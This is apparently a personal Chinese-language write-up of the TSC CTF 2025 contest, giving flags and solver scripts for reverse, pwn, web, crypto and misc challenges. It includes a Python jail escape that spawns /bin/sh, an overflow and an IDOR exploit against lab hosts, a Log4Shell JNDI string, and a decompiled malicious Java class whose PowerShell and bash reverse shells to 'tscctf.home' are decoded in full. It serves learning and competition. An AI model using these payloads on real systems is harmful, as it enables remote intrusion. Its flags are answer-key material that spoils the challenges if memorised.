---
# System prepended metadata

title: TSC CTF WRITE UP
tags: [write up, ctf]

---

# TSC CTF WRITE UP

## Welcome

### Give you a free flag
||![image](https://hackmd.io/_uploads/r1QJ727v1e.png)||

:::success
Flag🚩: ||`TSC{W3llc0me_t0_TSC2O2SIlIllI}`||
:::


### Please Join Our Discord!!!

||![image](https://hackmd.io/_uploads/H1pVQhXDJx.png)||
:::success
Flag🚩: ||`TSC{w31c0m3_t0_t5cc7f2025_d15c0rd!!!}`||
:::


### Feedback Form
做完表單就有flag
:::success
Flag🚩: ||`TSC{thanks_for_playing_and_c_u_nexy_year!}`||
:::



## Reverse


### What_Happened
將`flag_encrypted`和`0xAA`xor就能得到原本flag


```c=
// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char Destination[51]; // [esp+1Eh] [ebp-32h] OVERLAPPED BYREF

  __main();
  strcpy(Destination, flag_encrypted);
  puts("1. This is Flag:");
  puts("2. ...");
  puts("3. What Happened??? Something Error");
  printf("4. %s\n", Destination);
  return 0;
}
```
```c=
int decrypt_flag()
{
  char v1[50]; // [esp+16h] [ebp-42h] BYREF
  int v2; // [esp+48h] [ebp-10h]
  int i; // [esp+4Ch] [ebp-Ch]

  v2 = strlen(flag_encrypted);
  for ( i = 0; i < v2; ++i )
    v1[i] = flag_encrypted[i] ^ 0xAA;
  v1[v2] = 0;
  return printf("Decrypted Flag: %s\n", v1);
}
```
```python=
hex_string = "FE F9 E9 D1 E3 F5 FE C2 C3 C4 C1 F5 D3 C5 DF F5 EC C3 D2 F5 98 C5 C7 CF F5 99 D8 D8 C5 D8 D7"

byte_array = bytes.fromhex(hex_string)

xor_result = [byte ^ 0xAA for byte in byte_array]

result_hex = ' '.join(f"{byte:02X}" for byte in xor_result)

try:
    result_ascii = ''.join(chr(byte) for byte in xor_result)
except ValueError:
    result_ascii = "Not all bytes are printable ASCII characters"

print("Flag:", result_ascii)
```
:::success
Flag🚩:||`TSC{I_Think_you_Fix_2ome_3rror}`||
:::


### Chill Checker
把A~Z放入`complex_function()`試出正確輸入

```c=
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s2[32]; // [rsp+10h] [rbp-40h] BYREF
  char s1[20]; // [rsp+30h] [rbp-20h] BYREF
  int v6; // [rsp+44h] [rbp-Ch]
  int j; // [rsp+48h] [rbp-8h]
  int i; // [rsp+4Ch] [rbp-4h]

  v6 = -559038737;
  for ( i = 0; i <= 19; ++i )
    s2[i] = 0;
  *(_QWORD *)s2 = 0x57484959495A4753LL;
  printf("Whisper your code: ");
  __isoc99_scanf("%8s", s1);
  for ( j = 0; j <= 7; ++j )
    s1[j] = complex_function((unsigned int)s1[j], (unsigned int)(j + 8));
  if ( !strcmp(s1, s2) )
  {
    puts("Man, you're really on fire!");
    generate_flag(s1);
  }
  else
  {
    random_failure_message(s1);
  }
  return 0;
}
```

```c=
__int64 __fastcall complex_function(int a1, int a2)
{
  if ( a1 <= 64 || a1 > 90 )
  {
    puts("Go to reverse, please.");
    exit(1);
  }
  return (unsigned int)((a1 - 65 + 31 * a2) % 26 + 65);
}
```

```python=
def reverse_complex_function(output_char, position):
    a2 = position + 8
    for a1 in range(65, 91): 
        if (a1 - 65 + 31 * a2) % 26 + 65 == output_char:
            return a1
    raise ValueError("No valid character found")

def compute_valid_input(target):
    s1 = []
    for j, target_char in enumerate(target):
        target_ascii = ord(target_char)
        original_char = reverse_complex_function(target_ascii, j)
        s1.append(chr(original_char))
    return ''.join(s1)

s2 = "SGZIYIHW"  # 0x57484959495A4753
original_s1 = compute_valid_input(s2)
print(f"The correct input is: {original_s1}")

```

```
The correct input is: ENBFQVPZ
```
:::success
Flag🚩: ||`TSC{t4k3_1t_3a$y}`||
:::



## Pwn

### gamble_bad_bad

先裝VPN
`struct`裡的變數都是相鄰的，因此可以透過overflow改變`game.jackpot_value`
```c=
struct GameState {
   char buffer[20];
   char jackpot_value[4];  
} game;

void spin() {
   strcpy(game.jackpot_value, "6A6");
   
   printf("輸入你的投注金額：");
   gets(game.buffer);

   printf("這次的結果為：%s\n", game.jackpot_value);

   if (strcmp(game.jackpot_value, "777") == 0) {
       jackpot();
   } else {
       printf("很遺憾，你沒中獎，再試一次吧！\n");
   }
}
```
||![image](https://hackmd.io/_uploads/Bk32NgEwJl.png)||
:::success
Flag🚩: ||`TSC{Gamb1e_Very_bad_bad_but_}`||
:::


## Web
### Be_IDol

`index.php`裡有個後門可使用
```javascript=
 // Backdoor function - ez_login()
        function ez_login() {
            document.cookie = "PHPSESSID=secretbackdoor123";
            location.reload();
        }
```
使用並重新整理後可以看到1001個pdf檔
![image](https://hackmd.io/_uploads/Bkh2RVBwJe.png)

```python=
import os
import requests

base_url = "http://172.31.0.2:8057/download.php?file_id="
start_id = 12000
end_id = 13000
output_directory = "OUTPUT_DIR"

os.makedirs(output_directory, exist_ok=True)

def download_file(file_id):
    url = f"{base_url}{file_id}"
    try:
        response = requests.get(url, stream=True)
        response.raise_for_status()

        file_path = os.path.join(output_directory, f"file_{file_id}.pdf")
        with open(file_path, "wb") as file:
            for chunk in response.iter_content(chunk_size=8192):
                file.write(chunk)

        print(f"Downloaded: {file_path}")
    except requests.exceptions.RequestException as e:
        print(f"Failed to download file {file_id}: {e}")

for file_id in range(start_id, end_id + 1):
    download_file(file_id)

print("Download process completed.")
```
全部下載下來後會發現全都是這樣的形式
![image](https://hackmd.io/_uploads/BJNPakLDkg.png)
於是嘗試`id`從0到13000，找到以下幾個可用
![image](https://hackmd.io/_uploads/SkmeAy8D1e.png)

其中12001有指令可以使用
![image](https://hackmd.io/_uploads/rJ8GANHDyx.png)
用`find`找到flag
```bash=
find / -name "*flag*"
cat /opt/flag/flag.txt
```
:::success
Flag🚩: ||`TSC{You_can_be_ID0R_12353oujhefrgiuoewihoqweihfo}`||
:::


## Crypto

### Very Simple Login
用`Admin`註冊再登入
||![image](https://hackmd.io/_uploads/ByxLRxNPJl.png)||
:::success
Flag🚩: ||`TSC{Wr0nG_HM4C_7O_L3A_!!!}`||
:::


### Classic
利用已知flag開頭為`TSC{`的特性爆破
```python=
import string

enc = "o`15~UN;;U~;F~U0OkW;FNW;F]WNlUGV\""

charset = string.digits + string.ascii_letters + string.punctuation
len_charset = len(charset)

known_flag = "TSC{"
known_indices = [charset.find(c) for c in known_flag]
enc_indices = [charset.find(enc[i]) for i in range(len(known_flag))]

def solve_for_A_B(known_indices, enc_indices, len_charset):
    eqs = []
    for i in range(len(known_indices)):
        eqs.append((known_indices[i], enc_indices[i]))

    for A in range(1, len_charset):
        for B in range(len_charset):
            valid = True
            for (p, c) in eqs:
                if (p * A + B) % len_charset != c:
                    valid = False
                    break
            if valid:
                return A, B
    return None, None

A, B = solve_for_A_B(known_indices, enc_indices, len_charset)

if A is not None and B is not None:
    A_inv = pow(A, -1, len_charset)  # Modular inverse of A
    dec = []
    for enc_char in enc:
        enc_index = charset.find(enc_char)
        orig_index = (enc_index - B) * A_inv % len_charset
        dec.append(charset[orig_index])
    
    flag = "".join(dec)
    print("Decrypted flag:", flag)
else:
    print("Failed")

```
:::success
Flag🚩: ||`TSC{c14551c5_c1ph3r5_4r5_fr4g17e}`||
:::


## Misc

### BabyJail

用空的`tuple`往回找所有object的subclasses再找到system指令
```
[ x.__init__.__globals__ for x in ().__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("/bin/sh")
```
:::success
Flag🚩: ||`TSC{just_a_classic_nobuiltins_pyjail_for_baby}`||
:::

### A Minecraft SOC Mission
這題沒解出來，只記錄過程
首先把一些無關緊要的資訊過濾
```python=
import re
import os

def filter_logs(input_file, output_file):
    with open(input_file, 'r') as infile, open(output_file, 'w') as outfile:
        for line in infile:
            # Skip lines with specific patterns
            if re.search(r"joined the game|left the game|placed block|destroyed block", line):
                continue
            # Write the remaining lines to the output file
            outfile.write(line)

# Ensure the script works in the same directory as the log file
script_dir = os.path.dirname(os.path.abspath(__file__))
input_file = os.path.join(script_dir, "minecraft_server.log")
output_file = os.path.join(script_dir, "filtered_log.txt")

# Run the log filtering
if os.path.exists(input_file):
    filter_logs(input_file, output_file)
    print(f"Filtered logs have been saved to {output_file}")
else:
    print(f"File '{input_file}' does not exist. Please ensure it is in the same directory as this script.")
```
在log中找到一行可疑訊息，應該是Log4Shell
```
[03:31:01] [INFO]: Kristen Graves sent message: {jndi:ldap://tscctf.server/patato}
```
`evil.class`decompile後得到：
```java=
    import java.util.Base64;

public class Evil extends ClassLoader {
   private static final String[] $ = new String[]{"QTlXNHY2eXVpPQ==", "WVcxdmJtY3NJR0Z1WkNCemJ5QnBjeUJwZENCbGVHVmpkWFJwYm1jPQ==", "ZEhOalpYUm1MbWh2YldVPQ=="};
   private static String ᅟ = "k9";
   private static int ㅤ = 1017;

   private void ᅠ(byte[] var1) {
      try {
         String[] var2 = (new String(Base64.getDecoder().decode($[1]))).split(",");
         new String(Base64.getDecoder().decode($[2]));
         String var4 = (String)Class.forName("java.lang.System").getMethod("getProperty", String.class).invoke((Object)null, var2[0]);
         boolean var5 = var4.toLowerCase().contains(var2[1]);
         String[] var10000;
         if (var5) {
            var10000 = new String[]{"cmd.exe", "/c", null};
            String var10003 = new String(new byte[]{112, 111, 119, 101, 114, 115, 104, 101, 108, 108, 32, 45, 101, 32});
            var10000[2] = var10003 + "JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAdABzAGMAYwB0AGYALgBoAG8AbQBlACIALAA0ADQAMwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA";
         } else {
            var10000 = new String[]{"/bin/bash", "-c", this.ㅤㅤ(new String[]{"echo", "YmFzaCAtaSA+JiAvZGV2L3RjcC90c2NjdGYuaG9tZS80NDMgMD4mMQ==", "base64", "-d", "bash"})};
         }

         String[] var6 = var10000;
         Class.forName("java.lang.Runtime").getMethod("exec", String[].class).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke((Object)null), var6);
      } catch (Exception var7) {
      }

   }

   private String ㅤㅤ(String[] var1) {
      StringBuilder var2 = new StringBuilder();

      for(int var3 = 0; var3 < var1.length; ++var3) {
         var2.append(var1[var3]);
         if (var3 < var1.length - 1) {
            var2.append(" | ");
         }
      }

      return var2.toString();
   }

   static {
      (new Evil()).ᅠ(new byte[0]);
   }
}
```
其中`var5`應該是用來判斷伺服器作業系統
`112, 111, 119, 101, 114, 115, 104, 101, 108, 108, 32, 45, 101, 32`轉成ASCII為`powershell -e `

來自[Microsoft Learn](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_powershell_exe?view=powershell-5.1#-encodedcommand-base64encodedcomman`)：
> ### -EncodedCommand <Base64EncodedCommand>
> Accepts a base-64-encoded string version of a command. Use this parameter to submit commands to PowerShell that require complex quotation marks or curly braces. The string must be formatted using UTF-16LE character encoding.

所以那一長串Base64字串應該以`utf-16LE`解碼
```python=
import base64
s = "BASE64_ENCODED_STRING"
print(base64.b64decode(s).decode("utf-16le"))
```
解碼並排版後的結果
```csharp=
$client = New-Object System.Net.Sockets.TCPClient("tscctf.home", 443)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535 | % { 0 }

while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i)
    $sendback = (iex $data 2>&1 | Out-String)
    $sendback2 = $sendback + "PS " + (pwd).Path + "> "
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
    $stream.Write($sendbyte, 0, $sendbyte.Length)
    $stream.Flush()
}

$client.Close()
```
可以看到`tscctf.home`為攻擊者嘗試連線的主機
在linux那邊，base64解碼後的結果為
```bash
bash -i >& /dev/tcp/tscctf.home/443 0>&1
```
同樣可以看到`tscctf.home`
可是最後找不到`tscctf.server`和`tscctf.home`的ip
    
更：阿不是結果flag就是`tscctf.home`


## 後記
只解出50分的題目...
![screencapture-ctfd-tscctf-users-535-2025-01-16-11_09_04](https://hackmd.io/_uploads/H14wdg8Pkg.png)
[分頁紀錄](https://www.one-tab.com/page/k3M8ai_vQba2kqGu0A2Nug)